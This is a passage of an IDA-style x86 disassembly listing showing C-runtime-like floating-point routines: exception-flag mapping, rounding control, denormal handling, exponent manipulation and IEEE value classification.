		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_42C2D0
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4F54EC	; RaiseException
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_42B98D
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_42B98D:				; CODE XREF: sub_42B610+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42B9A9
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_42B9A9:				; CODE XREF: sub_42B610+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_42B9C6
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx

loc_42B9C6:				; CODE XREF: sub_42B610+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_42B9E2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_42B9E2:				; CODE XREF: sub_42B610+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42B9FB
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_42B9FB:				; CODE XREF: sub_42B610+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_42BA59
		mov	ecx, [ebp+var_14]
		jmp	off_42BAC1[ecx*4]

loc_42BA16:				; DATA XREF: .packed:0042BACDo
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42BA59
; ---------------------------------------------------------------------------

loc_42BA28:				; CODE XREF: sub_42B610+3FFj
					; DATA XREF: .packed:0042BAC9o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42BA59
; ---------------------------------------------------------------------------

loc_42BA3A:				; CODE XREF: sub_42B610+3FFj
					; DATA XREF: .packed:0042BAC5o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42BA59
; ---------------------------------------------------------------------------

loc_42BA4C:				; CODE XREF: sub_42B610+3FFj
					; DATA XREF: .packed:off_42BAC1o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_42BA59:				; CODE XREF: sub_42B610+3FAj
					; sub_42B610+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42BA7B
		cmp	[ebp+var_18], 1
		jz	short loc_42BA8D
		cmp	[ebp+var_18], 2
		jz	short loc_42BA9F
		jmp	short loc_42BAAC
; ---------------------------------------------------------------------------

loc_42BA7B:				; CODE XREF: sub_42B610+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_42BAAC
; ---------------------------------------------------------------------------

loc_42BA8D:				; CODE XREF: sub_42B610+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_42BAAC
; ---------------------------------------------------------------------------

loc_42BA9F:				; CODE XREF: sub_42B610+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx

loc_42BAAC:				; CODE XREF: sub_42B610+469j
					; sub_42B610+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42B610	endp

; ---------------------------------------------------------------------------
off_42BAC1	dd offset loc_42BA4C	; DATA XREF: sub_42B610+3FFr
		dd offset loc_42BA3A
		dd offset loc_42BA28
		dd offset loc_42BA16
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BAE0	proc near		; CODE XREF: sub_42B480+12p
					; .packed:0042B552p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42BB1A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42BB1A
		push	1
		call	sub_42C330
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_42BE1E
; ---------------------------------------------------------------------------

loc_42BB1A:				; CODE XREF: sub_42BAE0+17j
					; sub_42BAE0+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42BB45
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_42BB45
		push	4
		call	sub_42C330
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_42BE1E
; ---------------------------------------------------------------------------

loc_42BB45:				; CODE XREF: sub_42BAE0+42j
					; sub_42BAE0+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42BCC1
		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_42BCC1
		push	8
		call	sub_42C330
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_42BBA0
		cmp	[ebp+var_20], 800h
		jz	short loc_42BBF5
		cmp	[ebp+var_20], 0
		jz	short loc_42BBB2
		cmp	[ebp+var_20], 400h
		jz	loc_42BC35
		jmp	loc_42BCB3
; ---------------------------------------------------------------------------

loc_42BBA0:				; CODE XREF: sub_42BAE0+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_42BC75
		jmp	loc_42BCB3
; ---------------------------------------------------------------------------

loc_42BBB2:				; CODE XREF: sub_42BAE0+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42BBD7
		mov	edx, dword ptr dbl_454210
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr dbl_454210+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_42BBE2
; ---------------------------------------------------------------------------

loc_42BBD7:				; CODE XREF: sub_42BAE0+E2j
		fld	dbl_454210
		fchs
		fstp	[ebp+var_28]

loc_42BBE2:				; CODE XREF: sub_42BAE0+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_42BCB3
; ---------------------------------------------------------------------------

loc_42BBF5:				; CODE XREF: sub_42BAE0+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42BC1A
		mov	edx, dword ptr dbl_454210
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr dbl_454210+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_42BC25
; ---------------------------------------------------------------------------

loc_42BC1A:				; CODE XREF: sub_42BAE0+125j
		fld	dbl_454220
		fchs
		fstp	[ebp+var_30]

loc_42BC25:				; CODE XREF: sub_42BAE0+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_42BCB3
; ---------------------------------------------------------------------------

loc_42BC35:				; CODE XREF: sub_42BAE0+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42BC5A
		mov	edx, dword ptr dbl_454220
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr dbl_454220+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_42BC65
; ---------------------------------------------------------------------------

loc_42BC5A:				; CODE XREF: sub_42BAE0+165j
		fld	dbl_454210
		fchs
		fstp	[ebp+var_38]

loc_42BC65:				; CODE XREF: sub_42BAE0+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_42BCB3
; ---------------------------------------------------------------------------

loc_42BC75:				; CODE XREF: sub_42BAE0+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42BC9A
		mov	edx, dword ptr dbl_454220
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr dbl_454220+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_42BCA5
; ---------------------------------------------------------------------------

loc_42BC9A:				; CODE XREF: sub_42BAE0+1A5j
		fld	dbl_454220
		fchs
		fstp	[ebp+var_40]

loc_42BCA5:				; CODE XREF: sub_42BAE0+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax

loc_42BCB3:				; CODE XREF: sub_42BAE0+BBj
					; sub_42BAE0+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_42BE1E
; ---------------------------------------------------------------------------

loc_42BCC1:				; CODE XREF: sub_42BAE0+6Dj
					; sub_42BAE0+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_42BE1E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_42BE1E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_42BCF5
		mov	[ebp+var_8], 1

loc_42BCF5:				; CODE XREF: sub_42BAE0+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 40h
		jnz	loc_42BDFE
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_42C170
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_42BD51
		fld	[ebp+var_10]
		fmul	dbl_43D2F0
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_42BDEE
; ---------------------------------------------------------------------------

loc_42BD51:				; CODE XREF: sub_42BAE0+257j
		fld	[ebp+var_10]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 1
		jz	short loc_42BD6A
		mov	[ebp+var_44], 1
		jmp	short loc_42BD71
; ---------------------------------------------------------------------------

loc_42BD6A:				; CODE XREF: sub_42BAE0+27Fj
		mov	[ebp+var_44], 0

loc_42BD71:				; CODE XREF: sub_42BAE0+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_42BD99
; ---------------------------------------------------------------------------

loc_42BD90:				; CODE XREF: sub_42BAE0+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx

loc_42BD99:				; CODE XREF: sub_42BAE0+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_42BDE0
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_42BDB9
		cmp	[ebp+var_8], 0
		jnz	short loc_42BDB9
		mov	[ebp+var_8], 1

loc_42BDB9:				; CODE XREF: sub_42BAE0+2CAj
					; sub_42BAE0+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_42BDD6
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax

loc_42BDD6:				; CODE XREF: sub_42BAE0+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_42BD90
; ---------------------------------------------------------------------------

loc_42BDE0:				; CODE XREF: sub_42BAE0+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_42BDEE
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]

loc_42BDEE:				; CODE XREF: sub_42BAE0+26Cj
					; sub_42BAE0+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_42BE05
; ---------------------------------------------------------------------------

loc_42BDFE:				; CODE XREF: sub_42BAE0+225j
		mov	[ebp+var_8], 1

loc_42BE05:				; CODE XREF: sub_42BAE0+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_42BE15
		push	10h
		call	sub_42C330
		add	esp, 4

loc_42BE15:				; CODE XREF: sub_42BAE0+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx

loc_42BE1E:				; CODE XREF: sub_42BAE0+35j
					; sub_42BAE0+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42BE45
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42BE45
		push	20h
		call	sub_42C330
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx

loc_42BE45:				; CODE XREF: sub_42BAE0+346j
					; sub_42BAE0+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_42BAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42BE60(int,int,int,int,int,int,double,int)

sub_42BE60	proc near		; CODE XREF: sub_42B3B0+2Ap
					; .packed:0042B44Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42BF40
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_42BED7
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_42C2F0
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_431F50
		add	esp, 4
		test	eax, eax
		jnz	short loc_42BED2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BF00
		add	esp, 4

loc_42BED2:				; CODE XREF: sub_42BE60+64j
		fld	[ebp+var_8]
		jmp	short loc_42BEF7
; ---------------------------------------------------------------------------

loc_42BED7:				; CODE XREF: sub_42BE60+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_42C2F0
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BF00
		add	esp, 4
		fld	[ebp+arg_18]

loc_42BEF7:				; CODE XREF: sub_42BE60+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_42BE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BF00	proc near		; CODE XREF: sub_42B480+92p
					; .packed:0042B5EEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_42BF1E
		cmp	[ebp+var_4], 1
		jle	short loc_42BF36
		cmp	[ebp+var_4], 3
		jle	short loc_42BF2B
		jmp	short loc_42BF36
; ---------------------------------------------------------------------------

loc_42BF1E:				; CODE XREF: sub_42BF00+Ej
		call	sub_429A90
		mov	dword ptr [eax], 21h
		jmp	short loc_42BF36
; ---------------------------------------------------------------------------

loc_42BF2B:				; CODE XREF: sub_42BF00+1Aj
		call	sub_429A90
		mov	dword ptr [eax], 22h

loc_42BF36:				; CODE XREF: sub_42BF00+14j
					; sub_42BF00+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BF00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BF40	proc near		; CODE XREF: sub_42BE60+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42BF56
; ---------------------------------------------------------------------------

loc_42BF4D:				; CODE XREF: sub_42BF40:loc_42BF77j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_42BF56:				; CODE XREF: sub_42BF40+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_42BF79
		mov	ecx, [ebp+var_4]
		mov	edx, dword_454138[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_42BF77
		mov	eax, [ebp+var_4]
		mov	eax, off_45413C[eax*8]
		jmp	short loc_42BF7B
; ---------------------------------------------------------------------------

loc_42BF77:				; CODE XREF: sub_42BF40+29j
		jmp	short loc_42BF4D
; ---------------------------------------------------------------------------

loc_42BF79:				; CODE XREF: sub_42BF40+1Aj
		xor	eax, eax

loc_42BF7B:				; CODE XREF: sub_42BF40+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_42BF40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BF80	proc near		; CODE XREF: sub_42B480+4Ap
					; .packed:0042B5A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42BF97
		mov	[ebp+var_4], 5
		jmp	short loc_42BFEA
; ---------------------------------------------------------------------------

loc_42BF97:				; CODE XREF: sub_42BF80+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42BFAA
		mov	[ebp+var_4], 1
		jmp	short loc_42BFEA
; ---------------------------------------------------------------------------

loc_42BFAA:				; CODE XREF: sub_42BF80+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_42BFBD
		mov	[ebp+var_4], 2
		jmp	short loc_42BFEA
; ---------------------------------------------------------------------------

loc_42BFBD:				; CODE XREF: sub_42BF80+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42BFD0
		mov	[ebp+var_4], 3
		jmp	short loc_42BFEA
; ---------------------------------------------------------------------------

loc_42BFD0:				; CODE XREF: sub_42BF80+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42BFE3
		mov	[ebp+var_4], 4
		jmp	short loc_42BFEA
; ---------------------------------------------------------------------------

loc_42BFE3:				; CODE XREF: sub_42BF80+58j
		mov	[ebp+var_4], 0

loc_42BFEA:				; CODE XREF: sub_42BF80+15j
					; sub_42BF80+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42BF80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C000	proc near		; CODE XREF: .packed:0042C099p
					; sub_42C170+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C000	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42C000
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C0F0	proc near		; CODE XREF: sub_41FFF0+3Fp
					; sub_420210+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42C109
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C109
		mov	eax, 1
		jmp	short loc_42C16A
; ---------------------------------------------------------------------------

loc_42C109:				; CODE XREF: sub_42C0F0+Aj
					; sub_42C0F0+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42C11F
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C11F
		mov	eax, 2
		jmp	short loc_42C16A
; ---------------------------------------------------------------------------

loc_42C11F:				; CODE XREF: sub_42C0F0+20j
					; sub_42C0F0+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_42C13A
		mov	eax, 3
		jmp	short loc_42C16A
; ---------------------------------------------------------------------------

loc_42C13A:				; CODE XREF: sub_42C0F0+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_42C168
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_42C161
		cmp	[ebp+arg_0], 0
		jz	short loc_42C168

loc_42C161:				; CODE XREF: sub_42C0F0+69j
		mov	eax, 4
		jmp	short loc_42C16A
; ---------------------------------------------------------------------------

loc_42C168:				; CODE XREF: sub_42C0F0+5Fj
					; sub_42C0F0+6Fj
		xor	eax, eax

loc_42C16A:				; CODE XREF: sub_42C0F0+17j
					; sub_42C0F0+2Dj ...
		pop	ebp
		retn
sub_42C0F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42C170(double,int)

sub_42C170	proc near		; CODE XREF: sub_42BAE0+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 40h
		jz	short loc_42C1A0
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_42C29A
; ---------------------------------------------------------------------------

loc_42C1A0:				; CODE XREF: sub_42C170+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_42C269
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_42C1C9
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_42C269

loc_42C1C9:				; CODE XREF: sub_42C170+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	dbl_43D2F0
		fnstsw	ax
		test	ah, 1
		jz	short loc_42C1E9
		mov	[ebp+var_14], 1
		jmp	short loc_42C1F0
; ---------------------------------------------------------------------------

loc_42C1E9:				; CODE XREF: sub_42C170+6Ej
		mov	[ebp+var_14], 0

loc_42C1F0:				; CODE XREF: sub_42C170+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx

loc_42C1F6:				; CODE XREF: sub_42C170+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_42C235
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_42C222
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax

loc_42C222:				; CODE XREF: sub_42C170+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
